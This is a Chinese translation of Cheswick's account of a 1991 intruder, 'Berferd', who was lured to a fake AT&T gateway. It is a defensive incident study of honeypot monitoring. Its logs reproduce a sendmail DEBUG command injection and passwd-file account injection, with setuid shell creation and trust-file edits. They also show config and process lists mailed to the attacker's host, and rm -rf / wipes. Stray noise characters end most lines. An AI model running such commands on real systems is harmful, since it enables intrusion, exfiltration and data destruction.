在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
7 s3 `" p! k! w, F% X i在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
7 C1 }3 B% X6 C, B3 _我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
# q! S4 t% l) Y: P简介
; _" x, g5 V* J4 _+ a: D# \我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
s) V4 R, B0 N5 U: D事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。$ f: B7 o/ z! P
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?- @; ^2 K8 P& {
我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:6 H# o: z. m5 e4 E- j
FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”! n z: Z K+ `, W' _3 I
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。) S x/ \' u8 a
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:! @7 `+ Y/ G8 t% y. ]
exec 2>/dev/null # ensure that stderr doesn't appear% F$ p$ {, f8 I* |, X. ~% G7 m
trap "" 1
% `1 X4 [" Y( M8 i/bin/echo, T/ l( G% B, [
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |' @1 s9 O( X: B6 H- P
upasname=adm /bin/mail ches dangelo &
' S2 [% F8 {# f4 Z" L a# (notify calling machine's administrator for some machines...)
* U5 l+ S, m. E, M0 |' N# (finger the calling machine...)) {) `* \1 y& N$ g% Z! y# w
) 2>&1 | mail ches dangelo
, Y) f& u3 x! S, L/bin/echo "/tmp full"
# v" \7 j5 Z0 \6 K, Z9 ysleep 5 # I love to make them wait....$ R- J8 \, B2 ^
/bin/echo "/tmp full") b2 J3 |. U0 ^# F& m3 x
/bin/echo "/tmp full"8 [* T Q% t B' q( r4 E
/bin/echo
- Z1 J8 A" r Esleep 60 # ... and simulating a busy machine is useful/ [+ g' G" `3 ?) r% }8 R) f" N9 ?& }
我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。; Q( A; d* Y% ], K3 T' F+ L
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
$ X3 ]% G4 k1 T, a2 fFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
$ @1 m& ~7 d5 h8 b# oRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
9 k( d, f) P1 I- T/ {1 |上述很多探测器都使用figner命令来查明调用的机器和使用者。
0 n/ X3 l0 G; M1 @4 W* @: ]. Y当一个尝试显示为有不合法企图时,我就发出这样一条消息:8 d% `4 c5 K6 ]7 {9 Q; R# @, ~
inetfans postmaster@sdsu.edu
) ?, P' k. g( Y4 k# s* SYesterday someone from math.sdsu.edu fetched the /etc/passwd file; r: S) w& `/ f+ n- @0 f
from our FTP directory. The file is not important, but these probes# b! j& i1 `- J; b& v& C: @
are sometimes performed from stolen accounts.( ?! y6 u9 f" b, S" C" H
Just thought you'd like to know.
- | k2 r; x' k1 X8 W: f9 tBill Cheswick" L6 g) O+ ~# y5 n8 i: ^
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。! b& a/ u. d3 Q& o$ @3 Q* c
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
: {$ _% P- M& H. b: e2 j, Y. f不友好的行动
0 G; E3 p" j L" ?我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。7 ?" I9 P& q. H/ H2 {5 h
当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
$ L, S. W' q% z5 |3 n3 G4 W19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
0 ]8 T7 S! L1 X& ` h# F19:43:14 smtpd[27466]: -------> debug
. `5 C, a8 O& S* T& l7 M19:43:14 smtpd[27466]: DEBUG attempt, L" i% r8 t3 P: G/ a) ]. m9 j
19:43:14 smtpd[27466]: <--- 200 OK
% c( H9 v4 M/ y; `, L7 G7 W19:43:25 smtpd[27466]: -------> mail from:
# B# T% A$ r! h19:43:25 smtpd[27466]: <--- 503 Expecting HELO
O5 p3 `' o) x% u9 s: I19:43:34 smtpd[27466]: -------> helo
, ?% a# |; R3 N6 [. c19:43:34 smtpd[27466]: HELO from
$ l$ k# l( l( x19:43:34 smtpd[27466]: <--- 250 inet.att.com7 a* s$ E8 ^# ` q. U1 |4 K" ]' _
19:43:42 smtpd[27466]: -------> mail from: " F. L/ t2 g! m
19:43:42 smtpd[27466]: <--- 250 OK! g( w+ L, _* K' Z7 j! ]& ]% U
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
0 M+ z& |4 v- i. J! L' ?19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">! P) I. Q9 l2 L
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"2 T9 ] Z5 w$ \6 i/ f7 Y6 p
19:44:45 smtpd[27466]: <--- 250 OK
0 K' [, O2 m9 o; r19:44:48 smtpd[27466]: -------> data! d0 h8 n8 ]( @- y" h' c
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .1 D8 q" N5 H$ k' Q
19:45:04 smtpd[27466]: <--- 250 OK
. O9 }' p; _2 I% Y19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
( R$ I `8 |$ i19:45:08 smtpd[27466]: -------> quit
5 u+ Z+ [7 u" R7 b+ R19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating+ H. \& f0 l- m- o! D% i# k
19:45:08 smtpd[27466]: finished.$ e' r6 w8 T3 b$ Z6 ~$ U. ?
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:
: O: b: E8 @9 E, Esed -e '1,/?$/'d | /bin/sh ; exit 0", Z" g% m- i7 E' e
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
N, I( W2 p# |) J# z; P19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。% V# q" t6 k r
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
7 z$ Y S% Q( b/ u0 N& X接着的一个星期天我接到了从法国发来的一封信:& C: [. m X4 T) s' t R
To: root@research.att.com! s: Z5 I, R, V5 i6 K6 k# f
Subject: intruder1 w+ m2 {/ @( y1 {3 l! m8 R K
Date: Sun, 20 Jan 91 15:02:53 +0100# [ [3 z+ N: [8 }2 N2 l
I have just closed an account on my machine
1 W& l: t/ r6 ~; U5 d' hwhich has been broken by an intruder coming from embezzle.stanford.edu. He4 z3 L2 s0 i: {' W3 ?
(she) has left a file called passwd. The contents are:
( e$ Q' v! \! c2 z+ M) s+ o R& H" w------------>% Q/ O3 i H9 }: V/ _( [
From root@research.att.com Tue Jan 15 18:49:13 1991% N% g0 V$ L w4 s9 C( e; e. Z1 {* }
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);$ S* H0 L/ [: m$ t% I9 t1 Z
Tue, 15 Jan 91 18:49:12 -08009 [+ @3 P/ {( F3 k- U* S& B; u
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
5 f$ @! M" v% F; m2 aFrom: root@research.att.com+ W; N: b K6 Z3 B, D' M9 K
Date: Tue, 15 Jan 91 21:48 EST
, Q) p( |/ U2 U( w, rTo: adrian@embezzle.stanford.edu
R* h* E# `* j5 V3 d- j! R6 ARoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
- h) ?! z6 F! T/ HDaemon: *:1:1:0000-Admin(0000):/:" d. n, ~4 I8 T
Bin: *:2:2:0000-Admin(0000):/bin:
% O5 {) N9 z/ ~6 D0 nSys: *:3:3:0000-Admin(0000):/usr/v9/src:
- A3 [0 l$ `! f% F. k* p, DAdm: *:4:4:0000-Admin(0000):/usr/adm:
$ _: a* u4 j- M% a, y- EUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
4 F2 v) z. k2 u) `$ x, A+ UNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico3 g0 ], g- T. y }0 @0 q& n; `% d& A
Ftp: anonymous:71:14:file transfer:/:no soap# J4 S+ j, K+ O4 {5 h4 z
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh3 ^/ |6 _- y) H: @5 g, T! L
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
4 F5 O' t4 j: G; N, J* x% n1 Z/ ARtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh, q# y4 i A& Q) H; R
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh. O" E9 b. t6 @( c0 s$ Z' [' v
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh: X c+ i+ Q2 K
Status: R
) g7 V# X( o3 m, a. J------------Please let me know if you heard of him.
" O1 ]- D5 _- K- l陪伴Berferd的一个夜晚
0 h& d2 g: @; n& i1月20号,星期天晚上,我的终端报告有安全敏感事件。* v X% B# b1 k6 }5 b5 w
22:33 finger attempt on berferd
$ F' M7 ~+ y5 G) M2 N几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
4 y3 ~% Q9 A& G3 q22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd- ?# G2 q& U5 S( ^7 T
cp /bin/sh /tmp/shell* G, r# k1 T- c, V
chmod 4755 /tmp/shell
$ \9 K9 p4 j% z* y连接同样来自EMBEZZLE.STANFORD.EDU。# F O# L z. p+ V' ~! G( ^4 z; }
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。* A7 @; A$ n5 Q% d! k
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。# r% J$ N9 k; D
我已经有一个要求了,因为他已经持有了一份passwd。
& R/ O' a% W3 i0 I$ s决定一:ftp的passwd是一个真实的passwd。
" n* y" F% l9 W还有另外的两个:
( E/ L" g; o# j2 k" m/ P& y: n* u决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
7 ~3 h/ r& ~. o G8 M% V决定三:网关机器极慢。8 M. u/ x6 B; L# a) |% Z
因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
! L# T& m& Q; U* E; d决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
& @5 c i0 D, `/ Q% S这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:* R. R* b" Y# c% H: e* T
RISC/os (inet)+ @6 E* G! n/ U: H
login: b* Q U( @7 Y" t, h# g( g& P# _! ?
RISC/os (UMIPS) 4.0 inet
+ L8 i" M/ C7 y/ s, x' x( ~Copyright 1986, MIPS Computer Systems
6 O. ~5 l6 a# N0 V Z! @3 \5 iAll Rights Reserved
: x% ?/ V N8 ?% HShell not found
% B# A6 E2 ]3 L/ J0 R我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:" F6 E/ p0 f1 J) Z R
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
! A3 q$ K( `6 E: q% U4 X% K7 ?4 v他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
7 |4 c% b' v) Q) _4 r22:45 talk adrian@embezzle.stand?Hford.edu8 ]0 N( h G9 t6 @8 T' a
talk adrian@embezzle.stanford.edu3 V: K$ a" R9 [3 z% e
决定五:我们没有talk这个命令。
+ ?! o) Y, M) E2 g2 D他选择了berferd这个帐号:) t( i2 N$ F, t6 b2 p6 ]7 q
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
* i- b! u9 I3 _ ?22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
8 x$ M `1 ]! A2 q J4 W* Z8 i+ s7 y22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
1 m8 g* H" ^+ ]& {22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)* I& B" u4 |# i& q' P% u
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU8 F+ A9 `! a* L( L2 }/ m ]: p" N
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
5 ]- K7 F2 S M22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
$ t& C2 W) K% T. x; j; |7 T Y1 a: P* ^22:57 (Added bfrd to the real password file.)
, ^+ n9 B; |, m$ E1 n* N22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
4 K/ O Q: y) V4 p22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU# P' }7 S! x0 L5 G; [8 m
23:05 echo "36.92.0.205" >/dev/null
, B( J' @! w- Y* E1 V; Secho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H# g6 O" Q- `( C- u/ n0 |7 R
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
$ b# s) D) S5 N2 e0 f1 ~23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
: V2 l# j- }, ~# m' g23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
& m0 }4 q6 u/ D" _" |0 m很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。: W& D* a; W4 `* A% x$ ^2 p' J1 E, h
这时他又有新的动作:
8 `; }4 h Y( Q1 @23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU6 s) Q3 F* d) ?5 G' v
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU# a* j6 `/ R0 u+ H1 H5 e6 d
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
5 d: b# i- T0 ^% G# v( xps -aux|mail adrian@embezzle.stanford.edu
0 V0 k: ?' k5 b" j9 D在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。1 e3 d8 n6 D! p! f# h) p
决定七:网关机器运行不稳定,时有不确定事件。
" F! v- _9 h4 e. _* w' z23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts7 `6 [7 `' x) X! c
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts1 `2 \ d; y: @7 _9 t
ps -aux|mail adrian@embezzle.stanford.edu
& Q0 f% E- c) n1 wmail adrian@embezzle.stanford.edu < /etc/inetd.conf7 Y' s3 w/ f# T( X
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
4 J8 M5 G- w, s7 V这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
L G" a0 V; S, n3 AJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
5 _% W* E9 B# R/ A8 ^4 a(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.. T% L. x4 A3 z6 T
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M$ Q: g. f4 R" f) K2 D6 }
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
- K+ A* }9 x e' Z# kJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
( b* R, C5 h$ jJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
3 x8 k- Y) `' x. dJan 20 23:37:13 inet ftpd[14437]: -------> pass?M% p1 E$ F1 E% f( P! Q& q3 S1 l
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
9 d9 L' L" G0 a' r. D* [5 ?Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
+ N* r; k3 K: uJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are+ ]# O' T+ W) k' o+ V$ I. }! ?
recognized (* =>'s unimplemented).7 i m/ U! G5 O. n5 b- O% o
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
! V b1 R6 J) o5 ?' OJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
3 ]6 a/ t' c/ d* |Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
3 Z- X5 m j! v# sJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
+ a/ ]; b( O! ^) PJan 20 23:37:31 inet inetd[116]: exit 14437
, v- [5 H! u3 }1 ?Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454, E8 N+ L/ N6 M/ o
Jan 20 23:37:41 inet inetd[116]: exit 14454* I$ q' A* h; g8 v- k
23:38 finger attempt on berferd
' S- d- n/ x0 z/ w. e23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv6 |1 u8 f* i/ Q6 x" T' y1 V9 u6 w
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
- [7 Y9 P$ o9 f) h( Ycp /bin/sh /usr/etc/fingerd6 z: Q/ q/ E; U/ V+ ~
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
* n# M7 u2 ^# F( j1 C23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* h1 D/ ?& F- `' \& X; c9 N0 D. Q5 T23:58 cp /bin/csh /usr/etc/fingerd/ q3 m) ]( I8 R P! b
我们模拟的机器上csh并不在/bin下,因此这个命令无效。1 n, M- ^& m, H+ H
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd, G, T" U$ z% o& \% U6 M" _
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。( i* m& c P `, j% t$ {$ w8 s
00:14 passwd bfrt
) A- ]! |% o+ W* n2 |: rbfrt+ C3 Q% m- F2 J9 R5 V$ L# P
bfrt4 a, s: D5 \% M H& y1 a) v2 A
现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。
$ M- ]5 S+ L* Z$ M& }6 m: B00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU4 N! V0 M# g5 Y
00:17 echo "/bin/sh" > /tmp/Shell
! ]$ w$ |5 Y5 |9 _8 Xchmod 755 /tmp/shell
. B' ]6 S8 T. K q |+ _1 Rchmod 755 /tmp/Shell: ?8 L+ j& D' b- f5 b! t. h
00:19 chmod 4755 /tmp/shell
4 S# o9 ]* {0 z$ M8 @2 X00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* Y' s w4 b) m" s
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
9 k3 o$ [- ]5 H9 J6 p00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: b( O5 O7 k5 k00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ ^: k+ j6 C) w; }
这时我已经很累了。! `' ]" a9 z& ^
01:55 rm -rf /&7 u' f! H6 b+ v3 K) r
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
" d2 k+ Z( H! v他继续工作了几分钟,后来放弃:/ T( F3 V/ A: U3 B& c2 Z0 u; v1 g
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 I" ~9 | n: P6 e07:14 rm -rf /&
4 v* q u. f9 k07:17 finger attempt on berferd
: h! {4 Z9 c+ v" e07:19 /bin/rm -rf /&
$ \# W& Y1 S4 u/bin/rm -rf /&- k6 D7 ?$ f6 f7 E* q7 y& I! E
07:23 /bin/rm -rf /&
+ o9 `/ s# P2 E* W07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* i4 J- k; J$ r
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
( X6 f* k5 W. w+ L" M |